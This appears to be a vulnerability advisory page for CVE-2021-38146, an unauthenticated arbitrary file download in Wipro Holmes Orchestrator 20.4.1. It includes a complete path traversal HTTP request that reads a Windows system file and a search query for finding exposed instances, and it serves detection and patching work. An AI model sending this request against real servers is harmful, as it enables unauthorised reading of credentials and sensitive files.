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CVE-2021-38146: Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download

TitleWipro Holmes Orchestrator 20.4.1 - Arbitrary File Download
Authors4e-io
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files from the server via path traversal in the SearchString parameter, potentially exposing sensitive configuration files, credentials, and proprietary data.
RemediationFixed In v21.4.0
CVSS Score7.5
EPSS Score0.45088
CVE IDCVE-2021-38146
CWE IDCWE-22
Fofa Querytitle="Wipro Holmes Orchestrator"
Tags cve cve2021 wipro holmes lfi vuln

🔍 Vulnerability Description

The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.

🌐 HTTP Request

POST /home/download HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Connection: close
Content-Length: 60
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip

{

  "SearchString": "C:/Windows/Win.ini",

  "Msg": ""

}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38146.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38146.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A